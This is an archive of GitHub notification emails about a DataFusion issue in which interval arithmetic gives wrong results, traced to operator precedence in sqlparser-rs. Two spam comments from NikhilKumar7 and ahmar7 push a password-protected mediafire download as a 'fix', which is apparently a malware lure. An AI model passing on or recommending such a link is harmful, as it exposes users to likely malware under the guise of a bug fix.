Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-09-15 Thread via GitHub
alamb closed issue #12190: Incorrect behavior of arithmetic operations between time values URL: https://github.com/apache/datafusion/issues/12190 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-09-12 Thread via GitHub
alamb commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2347083640 I believe this will be fixed by https://github.com/apache/datafusion/pull/1 from @samuelcolvin -- This is an automated message from the Apache Git Service. To respond to th

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-09-11 Thread via GitHub
alamb commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2344378836 sqlparser-rs 0.51.0 is now available on crates.io: https://crates.io/crates/sqlparser/0.51.0 🎉 -- This is an automated message from the Apache Git Service. To respond to

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-09-09 Thread via GitHub
alamb commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2338105105 Nice! I expect the next release of sqlparser to be released sometime this week and thus the change will be available in DataFusion as well: https://github.com/sqlparser-rs/sqlpars

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-09-06 Thread via GitHub
Abdullahsab3 commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2334563835 I think https://github.com/sqlparser-rs/sqlparser-rs/pull/1398 fixed this issue. -- This is an automated message from the Apache Git Service. To respond to the message,

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-30 Thread via GitHub
tshauck commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2322174828 I think the examples have `select (interval '2 day' - interval '1 day') + interval '1 day';` backwards? ``` > select interval '2 day' - (interval '1 day' + (interval '1

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-29 Thread via GitHub
Abdullahsab3 commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2320263226 Just found something that could be interesting. I think it's a bug in the AST and the precedence of operators. I tried explicitly defining the precedence with parent

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-29 Thread via GitHub
Abdullahsab3 commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2320208595 Just an educated guess, but could it be that the arithmetic operators are not passed correctly from the parsed AST, or that the AST is not constructed correctly? Not entire

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-29 Thread via GitHub
tshauck commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2318921594 I don't know the root cause, but I'd just add it seems to to where there's subtraction. E.g. ``` > select interval '1 day' + interval '2 day' + interval '1 day' as i;

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-27 Thread via GitHub
NikhilKumar7 commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2311920694 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to

Re: [I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-27 Thread via GitHub
ahmar7 commented on issue #12190: URL: https://github.com/apache/datafusion/issues/12190#issuecomment-2311919321 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a c

[I] Incorrect behavior of arithmetic operations between time values [datafusion]

2024-08-27 Thread via GitHub
Abdullahsab3 opened a new issue, #12190: URL: https://github.com/apache/datafusion/issues/12190 ### Describe the bug Consider the following query: ``` DataFusion CLI v41.0.0 > select ('2024-08-27T08:21:27Z'::timestamp + interval '1 day' - interval '1 second' - interval '